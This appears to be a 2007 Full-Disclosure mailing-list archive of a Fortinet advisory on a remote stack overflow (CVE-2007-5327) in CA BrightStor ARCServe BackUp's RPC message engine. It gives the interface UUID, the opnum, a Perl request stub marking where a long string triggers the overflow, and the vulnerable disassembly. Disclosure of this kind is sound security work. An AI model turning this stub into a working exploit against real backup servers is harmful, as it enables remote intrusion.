Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [Full-disclosure] CA BrightStor ARCServe BackUp Message Engine Remote Stack Overflow Vulnerability |
|---|---|
| Date: | Thu, 11 Oct 2007 15:29:43 +0800 |
hi full-disclosure, CA BrightStor ARCServe BackUp Message Engine Remote Stack Overflow Vulnerability by cocoruder of Fortinet Security Research Team http://ruder.cdut.net Summary: A remote stack overflow vulnerability exist in the RPC interface of CA BrightStor ARCServe BackUp. An arbitrary anonymous attacker can execute arbitrary code on the affected system by exploiting this vulnerability. Affected Software Versions: CA BrightStor ARCServe BackUp R11.5 Details:: The flaw specifically exits within the CA BrightStor Message Engine due to incorrect handling of RPC requests on TCP port 6504. The interface is identified by 506b1890-14c8-11d1-bbc3-00805fa6962e v1.0. Opnum 0x10d specifies the vulnerable operation within this interface. Function 0x10d's IDL as follows: long sub_28EA5F70 ( [in] handle_t arg_1, [in, out][size_is(256), length_is(1)] struct struct_2 * arg_2, [in][string] char * arg_3, [in][string] char * arg_4, [in][string] char * arg_5, [in][string] char * arg_6, [in][string] char * arg_7, [in] long arg_8, [out][size_is(arg_1)] byte * arg_9 ); The following is the normal stub of this function: my $stub= "\x00\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x10\x00\x00\x00\x00\x00\x00\x00". #point1: the victim's computer name "\x10\x00\x00\x00". "kkk-49ade5b31c1". "\x00". "\x09\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00". #point2: a string,set it long "Database". "\x00\x00\x00\x00". "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00". "\x00\x00\x00\x00". "\x1a\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00". "RemoteDatabaseMachineName". "\x00\x00\x00". "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00". "\x00\x79\x49\x6e\x40\x00\x00\x00"; When we set #point1 equal to the victim's computer name, and set #point2 is a long string, there will cause a stack base overflow vulnerability. The vulnerable code as follows: .text:25604EF8 lea edx, [esp+120h+SubKey] .text:25604EFC push offset asc_2561E2BC .text:25604F01 push edx ; .text:25604F02 call edi ; lstrcatA ; .text:25604F04 lea eax, [esp+120h+SubKey] .text:25604F08 push esi ; .text:25604F09 push eax .text:25604F0A call edi ; lstrcatA ; overflow! Solution: CA has released an advisory for this vulnerability which is available on: http://supportconnectw.ca.com/public/storage/infodocs/basb-secnotice.asp Fortinet advisory can be found at: http://www.fortiguardcenter.com CVE Information: CVE-2007-5327 Disclosure Timeline: 2007.04.11 Vendor notified via email 2007.04.12 Vendor responded 2007.10.11 Final public disclosure Disclaimer: Although Fortinet has attempted to provide accurate information in these materials, Fortinet assumes no legal responsibility for the accuracy or completeness of the information. More specific information is available on request from Fortinet. Please note that Fortinet's product information does not constitute or contain any guarantee, warranty or legally binding representation, unless expressly identified as such in a duly signed writing. Fortinet Security Research secresearch@fortinet.com http://www.fortinet.com Best Regards, Haifei Li hfli@fortinet.com 2007-10-11
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [Full-disclosure] CORE-2007-0928: Stack-based buffer overflow vulnerability in OpenBSDâs DHCP server, Core Security Technologies Advisories |
|---|---|
| Next by Date: | [Full-disclosure] iDefense Security Advisory 10.11.07: Multiple Vendor FLAC Library Multiple Integer Overflow Vulnerabilities, iDefense Labs |
| Previous by Thread: | [Full-disclosure] CORE-2007-0928: Stack-based buffer overflow vulnerability in OpenBSDâs DHCP server, Core Security Technologies Advisories |
| Next by Thread: | [Full-disclosure] iDefense Security Advisory 10.11.07: Multiple Vendor FLAC Library Multiple Integer Overflow Vulnerabilities, iDefense Labs |
| Indexes: | [Date] [Thread] [Top] [All Lists] |